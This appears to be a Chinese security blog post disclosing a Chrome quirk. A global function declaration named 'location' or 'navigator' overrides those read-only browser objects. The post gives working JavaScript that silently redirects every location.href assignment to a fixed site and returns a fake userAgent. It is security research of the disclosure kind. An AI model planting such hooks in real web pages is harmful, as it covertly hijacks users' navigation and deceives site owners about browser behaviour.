Chrome出了個小bug:論如何在Chrome下劫持原生只讀對象

概述

衆所周知,雖然JavaScript是個很靈活的語言,瀏覽器裏不少原生的方法均可以隨意覆蓋或者重寫,好比alert。可是爲了保證網頁的安全性和網頁製做者的必定控制權,有些瀏覽器對象是沒法更改的,好比「window.location」對象,或者對它們的更改是無效的,好比」window.navigator」對象。然而,最近我發現Chrome出現了一個小「bug」,在Chrome 50+ 版本中,經過一些技巧能夠輕易地重寫這些對象,從而讓惡意代碼能夠控制網頁編寫者的跳轉行爲。瀏覽器

實現window.location

location對象是個很特殊的瀏覽器內置對象,通常狀況下是沒法修改的,爲了尋找是否有一種方法能夠作到這件事,我作了一些嘗試並得出了相應的結論:安全

1.沒法修改location對象,直接修改會致使頁面跳轉:app

window.location = {};

2.沒法經過Object.defineProperty來修改屬性的configurable和writable,所以沒法使用Object.watch及各類polyfill。函數

Object.defineProperty(location,"href",{"configurable": true});

3.能夠用Proxy對象代理location,但由於緣由1,沒法用locationProxy重寫location對象。網站

var locationProxy = new Proxy(location, {
          set: function (target, key, value, receiver) {
            console.log(target, key, value, receiver);
    }});

4.能夠freeze,使得對location.href賦值失效。然而這會影響到正常流程,由於光這樣用戶的代碼邏輯就沒法走通,劫持就失去了意義。this

Object.freeze(window.location)
    Object.freeze(window)

看上去彷佛沒有任何辦法可以作到了?然而山重水複疑無路,柳暗花明又一村。在嘗試中我發現Chrome瀏覽器有個bug:在全局域裏使用和location同名的函數聲明,在函數自動提高後能夠覆蓋掉瀏覽器自己的window.location對象,沒錯,就是這樣一行簡單的代碼:url

function location(){}

這樣就能夠起到重寫並hook掉location的做用。而這個方法也只有在Chrome下有用,其它瀏覽器(如Firefox或者Edge)會提示 TypeError: can't redefine non-configurable property locationspa

那麼既然拿到了修改的方法,應該如何合理地劫持它呢? 首先須要備份一下location對象自己,但因爲咱們的關鍵函數 function location(){} 自己是須要在全局域中執行,而且會自動提高,所以沒法直接存儲location對象。可是不少人都忽略的一點window.document對象中還有一份location對象,而這個對象,在目前瀏覽器中絕大多數狀況下都和window.location沒有區別,甚至就是對window.location的一份拷貝或者指針。因而咱們可使用window.document.location先備份一下location對象,而後修改之。代理

var _location = window.document.location;

以後須要作的事情就是在劫持某些操做的時候,又保證正常的操做不會出問題,不然很容易被發現。咱們可使用ES5中的一些魔法方法,好比__proto__和__defineSetter__來實現咱們須要的效果,好比咱們對於location.href 的賦值操做,攔截並轉向freebuf:指針

location.__proto__ = _location;

    location.__defineSetter__('href', function(url) {
      _location.href = "http://www.freebuf.com";
    });

    location.__defineGetter__('href', function(url) {
      return _location.href;
    });

或者使用ES6的Proxy代理,也一樣能夠實現相同功能:

window.location = new Proxy(_location, {
        set: function(target, prop, value, receiver){
            if (prop !== 'href'){
                Reflect.set(target, prop, value, receiver);
            }else{
                target.href = "http://www.freebuf.com";
            }
        }
    })

最後,咱們再將location對象設置爲只讀,防止輕易被修改

Object.defineProperty(window,"location",{"writable": false});

這樣就實現了一個暗藏玄機的window.location,偷偷將頁面裏全部經過location.href作的跳轉改到了目標網站(freebuf)。

實現window.navigator

就像我開頭說的同樣,不止是location,navigator對象咱們也能夠經過這種方法偷偷篡改,讓網站獲得的瀏覽器信息(如userAgent)失真,要注意的重點就是如何找到一種方法保存原來的navigator對象,這裏咱們使用新建一個iframe來實現:

var _navigator;
    
    function navigator(){}

    var frame = document.createElement('iframe');
    frame.width = frame.height = 0;
    frame.style.display = "none";
    document.lastChild.appendChild(frame);

    _navigator = window.frames[0].window.navigator;

    window.navigator = new Proxy(_navigator, {
        set: function(target, prop, value, receiver){
            return Reflect.set(target, prop, value, receiver);
        },
        get: function(target, prop, receiver){
            if (prop === 'userAgent'){
                return "this is a faked userAgent";
            }
            return target[prop];
        }
    })

這段代碼實現了讓用戶訪問window.navigator.userAgemt時返回了一個假UA串。

總結

這個bug在Chrome 50至最新版內核中均存在,包括但不限於Chrome和各類使用Chromium內核的瀏覽器(Opera, UC)等。雖然因爲侷限性,獨立存在的意義不大,可是在一些惡意腳本里仍是存在一些利用的價值。

做者:負羽@阿里安全,更多安全類文章,請訪問阿里聚安全博客
相關文章
相關標籤/搜索